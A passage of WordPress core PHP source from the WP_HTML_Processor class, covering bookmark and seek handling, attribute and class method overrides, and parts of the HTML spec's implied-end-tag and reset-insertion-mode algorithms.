					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * Bookmarks cannot be set on tokens that do no appear in the original
	 * HTML text. For example, the HTML `<table><td>` stops at tags `TABLE`,
	 * `TBODY`, `TR`, and `TD`. The `TBODY` and `TR` tags do not appear in
	 * the original HTML and cannot be used as bookmarks.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $bookmark_name ): bool {
		if ( $this->is_virtual() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Cannot set bookmarks on tokens that do no appear in the original HTML text.' ),
				'6.8.0'
			);
			return false;
		}
		return parent::set_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.5.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return parent::has_bookmark( "_{$bookmark_name}" );
	}

	/*
	 * HTML Parsing Algorithms
	 */

	/**
	 * Closes a P element.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#close-a-p-element
	 */
	private function close_a_p_element(): void {
		$this->generate_implied_end_tags( 'P' );
		$this->state->stack_of_open_elements->pop_until( 'P' );
	}

	/**
	 * Closes elements that have implied end tags.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 *
	 * @param string|null $except_for_this_element Perform as if this element doesn't exist in the stack of open elements.
	 */
	private function generate_implied_end_tags( ?string $except_for_this_element = null ): void {
		$elements_with_implied_end_tags = array(
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
		);

		$no_exclusions = ! isset( $except_for_this_element );

		while (
			( $no_exclusions || ! $this->state->stack_of_open_elements->current_node_is( $except_for_this_element ) ) &&
			in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true )
		) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Closes elements that have implied end tags, thoroughly.
	 *
	 * See the HTML specification for an explanation why this is
	 * different from generating end tags in the normal sense.
	 *
	 * @since 6.4.0
	 * @since 6.7.0 Full spec support.
	 *
	 * @see WP_HTML_Processor::generate_implied_end_tags
	 * @see https://html.spec.whatwg.org/#generate-implied-end-tags
	 */
	private function generate_implied_end_tags_thoroughly(): void {
		$elements_with_implied_end_tags = array(
			'CAPTION',
			'COLGROUP',
			'DD',
			'DT',
			'LI',
			'OPTGROUP',
			'OPTION',
			'P',
			'RB',
			'RP',
			'RT',
			'RTC',
			'TBODY',
			'TD',
			'TFOOT',
			'TH',
			'THEAD',
			'TR',
		);

		while ( in_array( $this->state->stack_of_open_elements->current_node()->node_name, $elements_with_implied_end_tags, true ) ) {
			$this->state->stack_of_open_elements->pop();
		}
	}

	/**
	 * Returns the adjusted current node.
	 *
	 * > The adjusted current node is the context element if the parser was created as
	 * > part of the HTML fragment parsing algorithm and the stack of open elements
	 * > has only one element in it (fragment case); otherwise, the adjusted current
	 * > node is the current node.
	 *
	 * @see https://html.spec.whatwg.org/#adjusted-current-node
	 *
	 * @since 6.7.0
	 *
	 * @return WP_HTML_Token|null The adjusted current node.
	 */
	private function get_adjusted_current_node(): ?WP_HTML_Token {
		if ( isset( $this->context_node ) && 1 === $this->state->stack_of_open_elements->count() ) {
			return $this->context_node;
		}

		return $this->state->stack_of_open_elements->current_node();
	}

	/**
	 * Reconstructs the active formatting elements.
	 *
	 * > This has the effect of reopening all the formatting elements that were opened
	 * > in the current body, cell, or caption (whichever is youngest) that haven't
	 * > been explicitly closed.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#reconstruct-the-active-formatting-elements
	 *
	 * @return bool Whether any formatting elements needed to be reconstructed.
	 */
	private function reconstruct_active_formatting_elements(): bool {
		/*
		 * > If there are no entries in the list of active formatting elements, then there is nothing
		 * > to reconstruct; stop this algorithm.
		 */
		if ( 0 === $this->state->active_formatting_elements->count() ) {
			return false;
		}

		$last_entry = $this->state->active_formatting_elements->current_node();
		if (

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is a marker;
			 * > stop this algorithm.
			 */
			'marker' === $last_entry->node_name ||

			/*
			 * > If the last (most recently added) entry in the list of active formatting elements is an
			 * > element that is in the stack of open elements, then there is nothing to reconstruct;
			 * > stop this algorithm.
			 */
			$this->state->stack_of_open_elements->contains_node( $last_entry )
		) {
			return false;
		}

		$this->bail( 'Cannot reconstruct active formatting elements when advancing and rewinding is required.' );
	}

	/**
	 * Runs the reset the insertion mode appropriately algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#reset-the-insertion-mode-appropriately
	 */
	private function reset_insertion_mode_appropriately(): void {
		// Set the first node.
		$first_node = null;
		foreach ( $this->state->stack_of_open_elements->walk_down() as $first_node ) {
			break;
		}

		/*
		 * > 1. Let _last_ be false.
		 */
		$last = false;
		foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
			/*
			 * > 2. Let _node_ be the last node in the stack of open elements.
			 * > 3. _Loop_: If _node_ is the first node in the stack of open elements, then set _last_
			 * >            to true, and, if the parser was created as part of the HTML fragment parsing
			 * >            algorithm (fragment case), set node to the context element passed to
			 * >            that algorithm.
			 * > …
			 */
			if ( $node === $first_node ) {
				$last = true;
				if ( isset( $this->context_node ) ) {
					$node = $this->context_node;
				}
			}

			// All of the following rules are for matching HTML elements.
			if ( 'html' !== $node->namespace ) {
				continue;
			}

			switch ( $node->node_name ) {
				/*
				 * > 4. If node is a `select` element, run these substeps:
				 * >   1. If _last_ is true, jump to the step below labeled done.
				 * >   2. Let _ancestor_ be _node_.
				 * >   3. _Loop_: If _ancestor_ is the first node in the stack of open elements,
				 * >      jump to the step below labeled done.
				 * >   4. Let ancestor be the node before ancestor in the stack of open elements.
				 * >   …
				 * >   7. Jump back to the step labeled _loop_.
				 * >   8. _Done_: Switch the insertion mode to "in select" and return.
				 */
				case 'SELECT':
					if ( ! $last ) {
						foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $ancestor ) {
							if ( 'html' !== $ancestor->namespace ) {
								continue;
							}

							switch ( $ancestor->node_name ) {
								/*
								 * > 5. If _ancestor_ is a `template` node, jump to the step below
								 * >    labeled _done_.
								 */
								case 'TEMPLATE':
									break 2;

								/*
								 * > 6. If _ancestor_ is a `table` node, switch the insertion mode to
								 * >    "in select in table" and return.
								 */
								case 'TABLE':
									$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE;
									return;
							}
						}
					}
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT;
					return;

				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
